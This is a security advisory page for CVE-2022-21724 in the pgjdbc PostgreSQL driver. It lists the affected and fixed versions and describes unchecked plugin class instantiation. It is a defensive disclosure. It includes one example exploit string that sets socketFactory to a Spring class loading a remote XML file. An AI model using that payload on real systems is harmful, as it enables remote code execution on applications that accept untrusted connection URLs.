~ / search / GHSA-v7wg-cpwc-24m4

GHSA-v7wg-cpwc-24m4

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

Source: GitHub Advisory Database (reviewed) High CVE-2022-21724

Packages

EcosystemPackageAffectedFixed in
Maven org.postgresql:postgresql >= 9.4.1208, < 42.2.25 42.2.25
Maven org.postgresql:postgresql >= 42.3.0, < 42.3.2 42.3.2

Details

As written in the advisory (Markdown source, shown as plain text).

### Impact pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. Here's an example attack using an out-of-the-box class from Spring Framework: ``` DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml"); ``` The first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)

References

External links from the advisory. They lead to third-party sites.